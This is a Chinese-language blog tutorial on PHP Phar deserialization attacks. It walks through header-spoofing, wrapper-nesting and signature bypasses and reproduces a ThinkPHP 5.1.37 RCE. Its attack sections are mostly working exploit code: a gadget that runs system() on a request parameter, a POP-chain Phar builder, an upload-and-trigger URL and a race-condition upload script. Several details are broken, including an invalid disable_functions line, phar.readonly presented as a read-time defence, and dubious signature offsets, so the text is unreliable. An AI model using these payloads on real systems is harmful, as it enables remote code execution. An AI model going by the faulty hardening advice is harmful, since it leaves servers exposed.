PHP Phar 反序列化实战:3种常见绕过方式与ThinkPHP 5.1.37 RCE案例复现

📅 2026/7/7 10:05:58 👁️ 阅读次数 📝 编程学习
PHP Phar 反序列化实战:3种常见绕过方式与ThinkPHP 5.1.37 RCE案例复现

PHP Phar反序列化漏洞深度剖析:从原理到ThinkPHP 5.1.37实战

在PHP安全领域,Phar反序列化漏洞因其独特的触发方式和广泛的攻击面,已成为渗透测试和CTF竞赛中的高频考点。本文将系统性地解析Phar反序列化的技术原理,深入探讨三种典型绕过技术,并通过ThinkPHP 5.1.37的RCE案例完整呈现漏洞利用链的构造过程。

1. Phar文件结构与反序列化原理

1.1 Phar技术背景

Phar(PHP Archive)是PHP 5.3+原生支持的打包格式,类似于Java的JAR文件。其核心设计目标是将多个PHP资源文件(类、函数、配置文件等)压缩为单个归档文件,便于分发和部署。默认情况下,PHP安装时已启用Phar扩展支持。

典型Phar文件包含四个关键部分

  1. Stub- 文件标识头,格式为<?php __HALT_COMPILER(); ?>,可前置任意内容
  2. Manifest- 压缩文件的元信息(权限、属性等),其中用户自定义的meta-data以序列化形式存储
  3. File Contents- 实际压缩的文件内容
  4. Signature- 可选的完整性校验签名(支持MD5/SHA1/SHA256等算法)

1.2 反序列化触发机制

当PHP文件系统函数(如file_exists()file_get_contents()等)通过phar://协议处理Phar文件时,底层会调用phar_parse_metadata()解析manifest区域。关键漏洞点在于:解析过程中会自动对meta-data执行反序列化操作,而无需显式调用unserialize()函数。

以下代码演示了基本的Phar文件生成过程:

class Exploit { public function __destruct() { system($_GET['cmd']); } } $phar = new Phar('exploit.phar'); $phar->startBuffering(); $phar->setStub('<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(new Exploit()); // 危险:用户可控的反序列化点 $phar->addFromString('test.txt', 'payload'); $phar->stopBuffering();

当受害者程序执行file_exists('phar://exploit.phar')时,Exploit类的__destruct()方法将被自动触发,形成RCE漏洞。

2. 三种典型绕过技术详解

2.1 文件头伪造技术

当目标系统限制上传文件类型时(如仅允许图片上传),可通过修改Stub部分绕过检测:

$phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); // 伪装成GIF文件

技术要点

  • 保留__HALT_COMPILER()标识的前提下,可前置任意文件头(如PNGPDF等)
  • 需配合修改文件后缀名为.jpg/.gif等允许的格式
  • 实际案例中常见于CMS头像上传等场景

2.2 协议嵌套技术

phar://被关键词过滤时,可利用协议嵌套实现绕过:

协议组合适用场景
compress.bzip2://phar://过滤严格的环境
php://filter/resource=phar://允许php://协议的情况
data://text/plain;base64,支持data协议解析的环境

典型利用代码:

// 原始触发方式 file_get_contents('phar://evil.phar'); // 绕过方式示例 file_get_contents('compress.zlib://phar:///path/to/evil.jpg');

2.3 签名绕过技术

Phar文件的签名校验可能成为攻击障碍,以下是两种突破方案:

方法一:注释注入

// 生成未签名的Phar文件 $phar = new Phar('unsigned.phar'); $phar->setSignatureAlgorithm(Phar::NONE); // 禁用签名

方法二:签名重计算(需知道文件内容)

import hashlib with open('modified.phar', 'rb') as f: content = f.read() new_sig = hashlib.sha1(content[:-28]).digest() # 跳过原签名区域 modified = content[:-28] + new_sig + content[-8:] # 重建文件结构

3. ThinkPHP 5.1.37 RCE漏洞复现

3.1 环境搭建与漏洞分析

ThinkPHP 5.1.37存在典型的POP(Property-Oriented Programming)链,通过精心构造的Phar文件可实现远程代码执行:

  1. 漏洞环境准备

    composer create-project topthink/think=5.1.37 tp5137
  2. 利用链关键节点

    • 入口:think\process\pipes\Windows类的__destruct()
    • 跳板:think\model\Pivot__toString()方法
    • 最终执行:think\Request类的filterValue()方法

3.2 完整攻击流程

步骤一:生成恶意Phar文件

namespace think{ abstract class Model{ protected $append = []; private $data = []; function __construct(){ $this->append = ["ethan"=>["calc"]]; $this->data = ["ethan"=>new Request()]; } } class Request{ protected $hook = []; protected $filter = "system"; function __construct(){ $this->filter = "system"; $this->hook = ["visible"=>[$this,"isAjax"]]; } } } // ...(其他命名空间结构省略) $phar = new Phar('tp_rce.phar'); $phar->setStub('GIF89a<?php __HALT_COMPILER(); ?>'); $phar->setMetadata(new Windows()); // 注入POP链 $phar->addFromString("test.txt", "test"); $phar->stopBuffering();

步骤二:文件上传与触发

  1. tp_rce.phar重命名为avatar.jpg上传
  2. 通过存在参数可控的文件操作函数触发:
    // 示例脆弱代码 file_exists($_GET['filename']);
  3. 实际请求构造:
    http://target.com/index.php?filename=phar://uploads/avatar.jpg/test.txt

3.3 防御方案对比

防御措施有效性实施成本兼容性影响
禁用phar扩展★★★★★★★☆☆☆★☆☆☆☆
过滤phar://协议★★★☆☆★★★☆☆★★★★☆
设置phar.readonly=On★★★★☆★★★★★★★★☆☆
文件内容严格校验★★★★☆★★☆☆☆★★★★☆

4. 高级绕过技术与实战技巧

4.1 特殊场景下的Phar利用

条件竞争场景(CTFshow Web276):

import threading import requests def upload(): while True: requests.post(target, files={'file': open('phar.phar','rb')}) def trigger(): while True: r = requests.get(f"{target}?file=phar://tmp/phar.phar") if "flag{" in r.text: print(r.text) exit() threading.Thread(target=upload).start() threading.Thread(target=trigger).start()

日志注入攻击(N1CTF 2021 EasyPHP):

$phar->convertToExecutable(Phar::TAR); // 转换为tar格式绕过日志检测 $phar->addFromString("Time: ".$_GET['time'], "fake log"); // 构造合法日志格式

4.2 新型检测绕过技术

GBMB签名绕过

// PHP源码中的签名验证逻辑(php-src/ext/phar/phar.c) if (memcmp(buffer+pos, "GBMB", 4) != 0) { php_error_docref(NULL, E_WARNING, "corrupted signature"); return FAILURE; }

通过精确控制文件尾部结构,可构造特殊签名绕过某些安全设备的检测。

5. 防御体系构建建议

  1. 开发阶段

    • 严格限制文件操作函数的参数输入
    • 使用finfo检测文件真实类型而非扩展名
    $finfo = new finfo(FILEINFO_MIME_TYPE); $type = $finfo->file($_FILES['file']['tmp_name']);
  2. 运维阶段

    • 配置phar.readonly = On
    • 禁用危险协议:disable_functions = phar://, zip://
    • 定期更新PHP版本(PHP8+已优化metadata处理)
  3. 安全检测

    # 检测项目中潜在的Phar触发点 grep -r "file_exists\|file_get_contents\|is_dir" --include="*.php" ./

通过深入理解Phar反序列化的技术原理和实战应用,安全研究人员可以更有效地发现和防御此类漏洞。建议在测试环境中复现本文案例,并参考OWASP相关指南建立全面的反序列化防护体系。